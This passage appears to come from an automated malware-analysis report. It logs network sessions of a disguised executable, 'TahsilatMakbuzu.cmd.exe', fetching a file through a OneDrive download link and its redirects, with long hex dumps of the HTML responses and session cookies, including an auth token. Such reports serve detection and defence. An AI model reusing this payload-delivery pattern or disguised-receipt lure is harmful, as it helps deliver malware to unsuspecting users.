B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542-6
2024-07-04 18:17:09 UTC	8192	IN	Data Raw: 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 33 46 Data Ascii: ,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A3F
2024-07-04 18:17:09 UTC	8192	IN	Data Raw: 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 72 75 Data Ascii: DF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49787	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:10 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:10 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: SJ4PPF840319676 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: FZVfTJm8a0W0YA/ElX5OSQ.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 21CCA784671641B49EA7D439C5746007 Ref B: EWR30EDGE1119 Ref C: 2024-07-04T18:17:10Z Date: Thu, 04 Jul 2024 18:17:10 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49788	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:10 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:11 UTC	2223	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:roXLhVWc3Ig=:8wft4sWjHgjFq3DbUV/y/lpA88X/zmvlY7dEfQ0lTCs=:F; domain=.live.com; path=/ Set-Cookie: xid=ae51855e-bdaf-4bc5-8e61-861407d74872&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:11 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODMxLCJuYmYiOjE3MjAxMTcwMzEsImdpdmVuX25hbWUiOiI2MyIsImZhbWlseV9uYW1lIjoiQW50ZWxvcGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiIyM2M1MmFhNDU3MzhmNTAxY2M5MTllNzE2NzQ4YjA5OSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDMxfQ.FyTRWZLMLyTpCfYC_v9DTtqpwY4S2i1iDdp6s6so_QLD2WdT0rZh5sV7b7Qz90bhwS-AUP-qtkQGCiSQqWafdTTynX4kk5ZYvXWFH6Kt-GIYEmfnf6cZ6DKwHdZPNOFmNktzDT9cp6KKFGQ3iYVF8N1YPdYlVdT_70uJ6DYInu4DbnyJZvd4e2J7GlM7asdqZV5uxYO0sQUfgEXWzHm34o9_KIZtyUYtwGw6X2fOJzdJEa9G94gxTbklF5d5XkiCsFW4hGNAV177FI0-zd1AUyHpF4W3MPrJ4p1dL0YPWywmrikZFAZQRno5RhqcVR6l6OtrWlTKedfT6IyWegk5Bw; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:11 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-9t9jb X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 00D70045C0CD4917B6580AC24B5C8DA5 Ref B: BN3EDGE0208 Ref C: 2024-07-04T18:17:11Z Date: Thu, 04 Jul 2024 18:17:11 GMT Connection: close
2024-07-04 18:17:11 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49790	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:12 UTC	1291	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODMxLCJuYmYiOjE3MjAxMTcwMzEsImdpdmVuX25hbWUiOiI2MyIsImZhbWlseV9uYW1lIjoiQW50ZWxvcGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiIyM2M1MmFhNDU3MzhmNTAxY2M5MTllNzE2NzQ4YjA5OSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDMxfQ.FyTRWZLMLyTpCfYC_v9DTtqpwY4S2i1iDdp6s6so_QLD2WdT0rZh5sV7b7Qz90bhwS-AUP-qtkQGCiSQqWafdTTynX4kk5ZYvXWFH6Kt-GIYEmfnf6cZ6DKwHdZPNOFmNktzDT9cp6KKFGQ3iYVF8N1YPdYlVdT_70uJ6DYInu4DbnyJZvd4e2J7GlM7asdqZV5uxYO0sQUfgEXWzHm34o9_KIZtyUYtwGw6X2fOJzdJEa9G94gxTbklF5d5XkiCsFW4hGNAV177FI0-zd1AUyHpF4W3MPrJ4p1dL0YPWywmrikZFAZQRno5RhqcVR6l6OtrWlTKedfT6IyWegk5Bw; E=P:roXLhVWc3Ig=:8wft4sWjHgjFq3DbUV/y/lpA88X/zmvlY7dEfQ0lTCs=:F; xid=ae51855e-bdaf-4bc5-8e61-861407 [TRUNCATED]
2024-07-04 18:17:12 UTC	1923	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,6007,0,55557,17 X-SharePointHealthScore: 1 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 3c1239a1-80ef-5000-e26e-5d78c3cf995e request-id: 3c1239a1-80ef-5000-e26e-5d78c3cf995e MS-CV: oTkSPO+AAFDibl14w8+ZXg.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 33 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F792A11EBB53491EB09A0984119D97BF Ref B: BN3EDGE0507 Ref C: 2024-07-04T18:17:12Z Date: Thu, 04 Jul 2024 18:17:12 GMT Connection: close
2024-07-04 18:17:12 UTC	3042	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:12 UTC	8192	IN	Data Raw: 30 37 33 36 39 39 2c 2d 32 30 31 34 33 36 36 39 38 33 2c 2d 31 34 37 31 31 39 34 33 2c 31 39 33 36 34 34 35 34 32 38 2c 31 32 32 36 30 33 34 31 30 32 2c 31 38 30 35 38 34 39 31 39 31 2c 2d 35 30 35 33 32 39 36 38 2c 32 36 31 33 32 33 35 34 32 2c 31 35 32 32 34 34 34 34 38 30 2c 2d 31 39 34 39 32 30 32 31 31 35 2c 2d 37 38 38 30 32 34 34 32 34 2c 38 38 37 31 31 39 31 2c 31 38 39 39 31 37 31 39 33 37 2c 2d 31 37 35 39 37 35 38 39 38 34 2c 38 30 38 39 31 31 38 34 33 2c 2d 31 30 35 35 35 35 32 38 39 36 2c 39 39 38 35 30 38 36 35 33 2c 2d 39 33 39 34 39 38 39 34 34 2c 32 36 31 31 33 36 34 33 38 2c 36 35 35 36 32 32 33 30 37 2c 2d 31 39 35 36 36 34 32 37 30 30 2c 36 30 34 35 34 30 39 33 30 2c 38 37 34 39 30 38 32 2c 2d 39 37 34 31 32 36 35 32 34 2c 33 30 35 32 Data Ascii: 073699,-2014366983,-14711943,1936445428,1226034102,1805849191,-50532968,261323542,1522444480,-1949202115,-788024424,8871191,1899171937,-1759758984,808911843,-1055552896,998508653,-939498944,261136438,655622307,-1956642700,604540930,8749082,-974126524,3052
2024-07-04 18:17:12 UTC	3345	IN	Data Raw: 22 31 44 33 32 34 34 39 38 2d 37 36 37 33 2d 34 34 44 43 2d 41 35 43 39 2d 30 39 43 39 39 44 44 33 30 33 41 30 22 3a 74 72 75 65 2c 22 30 35 42 37 35 32 41 36 2d 30 34 44 39 2d 34 45 44 36 2d 42 45 31 36 2d 43 34 38 44 35 34 36 38 43 30 34 31 22 3a 74 72 75 65 2c 22 34 30 35 31 42 42 37 43 2d 33 34 39 32 2d 30 39 36 32 2d 39 37 37 35 2d 42 45 46 42 32 30 42 42 45 36 46 31 22 3a 74 72 75 65 2c 22 45 35 36 38 32 46 37 39 2d 34 32 44 39 2d 34 45 33 33 2d 38 39 43 43 2d 38 39 39 32 34 38 42 38 46 34 46 39 22 3a 74 72 75 65 2c 22 41 34 38 32 39 31 42 43 2d 37 44 46 39 2d 34 34 32 39 2d 38 38 45 30 2d 30 38 44 30 31 42 43 37 42 45 34 38 22 3a 74 72 75 65 2c 22 37 39 30 34 33 34 37 37 2d 36 31 38 35 2d 34 41 45 32 2d 42 34 35 46 2d 44 30 38 41 41 36 39 33 35 39 Data Ascii: "1D324498-7673-44DC-A5C9-09C99DD303A0":true,"05B752A6-04D9-4ED6-BE16-C48D5468C041":true,"4051BB7C-3492-0962-9775-BEFB20BBE6F1":true,"E5682F79-42D9-4E33-89CC-899248B8F4F9":true,"A48291BC-7DF9-4429-88E0-08D01BC7BE48":true,"79043477-6185-4AE2-B45F-D08AA69359
2024-07-04 18:17:12 UTC	8192	IN	Data Raw: 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 Data Ascii: 308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26783
2024-07-04 18:17:12 UTC	8192	IN	Data Raw: 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c Data Ascii: -D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,
2024-07-04 18:17:12 UTC	8192	IN	Data Raw: 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 Data Ascii: 13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A
2024-07-04 18:17:12 UTC	8192	IN	Data Raw: 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 Data Ascii: E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4
2024-07-04 18:17:13 UTC	8192	IN	Data Raw: 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 Data Ascii: 55B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542
2024-07-04 18:17:13 UTC	8192	IN	Data Raw: 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 Data Ascii: ue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A
2024-07-04 18:17:13 UTC	8192	IN	Data Raw: 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 Data Ascii: 